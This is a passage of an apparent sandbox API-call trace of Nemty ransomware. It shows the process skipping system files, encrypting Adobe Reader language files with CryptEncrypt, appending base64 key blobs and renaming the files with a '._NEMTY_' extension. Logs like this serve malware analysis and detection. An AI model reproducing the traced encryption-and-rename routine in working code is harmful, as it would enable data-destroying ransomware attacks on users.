cFileName="DisplayLanguageNames.hu_HU.txt", cAlternateFileName="DI4400~1.TXT")) returned 1 [0215.831] lstrcmpiW (lpString1="DisplayLanguageNames.hu_HU.txt", lpString2=".") returned 1 [0215.831] lstrcmpiW (lpString1="DisplayLanguageNames.hu_HU.txt", lpString2="..") returned 1 [0215.831] lstrcmpiW (lpString1="DisplayLanguageNames.hu_HU.txt", lpString2="...") returned 1 [0215.831] lstrcmpiW (lpString1="DisplayLanguageNames.hu_HU.txt", lpString2="windows") returned -1 [0215.831] lstrcmpiW (lpString1="DisplayLanguageNames.hu_HU.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.831] lstrcmpiW (lpString1="DisplayLanguageNames.hu_HU.txt", lpString2="rsa") returned -1 [0215.831] lstrcmpiW (lpString1="DisplayLanguageNames.hu_HU.txt", lpString2="NTDETECT.COM") returned -1 [0215.831] lstrcmpiW (lpString1="DisplayLanguageNames.hu_HU.txt", lpString2="ntldr") returned -1 [0215.831] lstrcmpiW (lpString1="DisplayLanguageNames.hu_HU.txt", lpString2="MSDOS.SYS") returned -1 [0215.831] lstrcmpiW (lpString1="DisplayLanguageNames.hu_HU.txt", lpString2="IO.SYS") returned -1 [0215.831] lstrcmpiW (lpString1="DisplayLanguageNames.hu_HU.txt", lpString2="boot.ini") returned 1 [0215.831] lstrcmpiW (lpString1="DisplayLanguageNames.hu_HU.txt", lpString2="boot.ini") returned 1 [0215.831] lstrcmpiW (lpString1="DisplayLanguageNames.hu_HU.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.831] lstrcmpiW (lpString1="DisplayLanguageNames.hu_HU.txt", lpString2="ntuser.dat") returned -1 [0215.831] lstrcmpiW (lpString1="DisplayLanguageNames.hu_HU.txt", lpString2="desktop.ini") returned 1 [0215.831] lstrcmpiW (lpString1="DisplayLanguageNames.hu_HU.txt", lpString2="CONFIG.SYS") returned 1 [0215.831] lstrcmpiW (lpString1="DisplayLanguageNames.hu_HU.txt", lpString2="RECYCLER") returned -1 [0215.831] lstrcmpiW (lpString1="DisplayLanguageNames.hu_HU.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.831] lstrcmpiW (lpString1="DisplayLanguageNames.hu_HU.txt", lpString2="bootmgr") returned 1 [0215.831] lstrcmpiW (lpString1="DisplayLanguageNames.hu_HU.txt", lpString2="programdata") returned -1 [0215.831] lstrcmpiW (lpString1="DisplayLanguageNames.hu_HU.txt", lpString2="appdata") returned 1 [0215.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hu_HU.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hu_HU.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.hu_HU.txt", lpUsedDefaultChar=0x0) returned 30 [0215.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hu_HU.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hu_HU.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.hu_HU.txt", lpUsedDefaultChar=0x0) returned 30 [0215.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hu_HU.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hu_HU.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.hu_HU.txt", lpUsedDefaultChar=0x0) returned 30 [0215.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hu_HU.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hu_HU.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.hu_HU.txt", lpUsedDefaultChar=0x0) returned 30 [0215.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.832] Sleep (dwMilliseconds=0x5) [0215.840] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3449b3d0, dwHighDateTime=0x1d561e8)) [0215.840] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3449b3d0, dwHighDateTime=0x1d561e8)) [0215.840] GetLastError () returned 0x0 [0215.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.840] GetLastError () returned 0x0 [0215.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.840] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.840] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.840] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0215.840] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="IX2Ar671MW8XXjb8DGQbZeVaNhlwuxPPP3pWNlZS9cAphfFKM3lX3CyQtbfGuRgx\r\nwbPJ+Dss/FTdHP68e21wdQOmF0lEgT+CQXrsomisybzJNNNZadWM7E88hWEW3aG5\r\nN0X+TIN150fYmdwQcH+6CjSBKhjFmbmnzgdF176bePo+VbGH3bTYosB03bjm7SW4\r\n6Irj3Ex5I9wHQBs70m4H5AYiyf2ZmLRYRxwqViddKcrN78vUPKVO+CyhK7iICOul\r\ngGyLmBUjWQ02mRzeKc8qWeqi/QOGB7ToN1o90CdbQWTFoCImZNm7o/s4r+OmNtOd\r\nIBjxniNAdaspQWYWuhzEEw==\r\n", pcchString=0x653e5dc) returned 1 [0215.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0215.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.840] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu_HU.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu_hu.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.841] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28158) returned 1 [0215.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6df0) returned 0x6352c48 [0215.841] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.841] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6df0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6df0, lpOverlapped=0x0) returned 1 [0215.844] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.844] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6df0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6df0, lpOverlapped=0x0) returned 1 [0215.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.844] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28158, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6dfe [0215.844] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.844] CloseHandle (hObject=0x2e8) returned 1 [0215.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.845] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu_HU.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu_hu.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu_HU.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu_hu.txt._nemty_kgobjgd_")) returned 1 [0215.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.846] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.it.txt", cAlternateFileName="DIABB3~1.TXT")) returned 1 [0215.846] lstrcmpiW (lpString1="DisplayLanguageNames.it.txt", lpString2=".") returned 1 [0215.846] lstrcmpiW (lpString1="DisplayLanguageNames.it.txt", lpString2="..") returned 1 [0215.846] lstrcmpiW (lpString1="DisplayLanguageNames.it.txt", lpString2="...") returned 1 [0215.846] lstrcmpiW (lpString1="DisplayLanguageNames.it.txt", lpString2="windows") returned -1 [0215.846] lstrcmpiW (lpString1="DisplayLanguageNames.it.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.846] lstrcmpiW (lpString1="DisplayLanguageNames.it.txt", lpString2="rsa") returned -1 [0215.846] lstrcmpiW (lpString1="DisplayLanguageNames.it.txt", lpString2="NTDETECT.COM") returned -1 [0215.846] lstrcmpiW (lpString1="DisplayLanguageNames.it.txt", lpString2="ntldr") returned -1 [0215.846] lstrcmpiW (lpString1="DisplayLanguageNames.it.txt", lpString2="MSDOS.SYS") returned -1 [0215.846] lstrcmpiW (lpString1="DisplayLanguageNames.it.txt", lpString2="IO.SYS") returned -1 [0215.846] lstrcmpiW (lpString1="DisplayLanguageNames.it.txt", lpString2="boot.ini") returned 1 [0215.846] lstrcmpiW (lpString1="DisplayLanguageNames.it.txt", lpString2="boot.ini") returned 1 [0215.846] lstrcmpiW (lpString1="DisplayLanguageNames.it.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.846] lstrcmpiW (lpString1="DisplayLanguageNames.it.txt", lpString2="ntuser.dat") returned -1 [0215.846] lstrcmpiW (lpString1="DisplayLanguageNames.it.txt", lpString2="desktop.ini") returned 1 [0215.846] lstrcmpiW (lpString1="DisplayLanguageNames.it.txt", lpString2="CONFIG.SYS") returned 1 [0215.846] lstrcmpiW (lpString1="DisplayLanguageNames.it.txt", lpString2="RECYCLER") returned -1 [0215.846] lstrcmpiW (lpString1="DisplayLanguageNames.it.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.846] lstrcmpiW (lpString1="DisplayLanguageNames.it.txt", lpString2="bootmgr") returned 1 [0215.846] lstrcmpiW (lpString1="DisplayLanguageNames.it.txt", lpString2="programdata") returned -1 [0215.846] lstrcmpiW (lpString1="DisplayLanguageNames.it.txt", lpString2="appdata") returned 1 [0215.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.it.txt", lpUsedDefaultChar=0x0) returned 27 [0215.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.it.txt", lpUsedDefaultChar=0x0) returned 27 [0215.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.it.txt", lpUsedDefaultChar=0x0) returned 27 [0215.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.it.txt", lpUsedDefaultChar=0x0) returned 27 [0215.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.847] Sleep (dwMilliseconds=0x5) [0215.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x344c1530, dwHighDateTime=0x1d561e8)) [0215.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x344c1530, dwHighDateTime=0x1d561e8)) [0215.855] GetLastError () returned 0x0 [0215.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.855] GetLastError () returned 0x0 [0215.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.855] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.855] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.855] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0215.856] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="hXCnD2Cl6ooi1SzXV9G1bvLybHckC18ZplrW02nTRZTGcedruIVMeNKpTW9PMm+e\r\nmhE9ZSS99aiQS78++RMScLEpn3hktOJl2ReYBgxoCQYDaQPjsQEkeoliVDvFEF8U\r\nI0pf7j7kND3dhjMKv6e/t58vN8irCsAtM/4hZijRQYoUSrED/F+Md3GNY8dqGE+D\r\n7plp5EWhGI7rDb8cw+vvlMSLwZ8Z0UeAVMK20ybHNNYp8zP2Kt7WsmN2U8Dv8tZO\r\nmIk+tomG+NhgrGd8vjqVIXghNLBJmzWaPn7HAVI1Ah3A3n1v8lsMeSRz5aeZNOZc\r\nP6XUJPKP4dwOqwcyAsTkBw==\r\n", pcchString=0x653e5dc) returned 1 [0215.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0215.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.856] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.856] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28296) returned 1 [0215.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e80) returned 0x6352c48 [0215.856] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.856] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e80, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e80, lpOverlapped=0x0) returned 1 [0215.860] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.860] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e80, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e80, lpOverlapped=0x0) returned 1 [0215.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 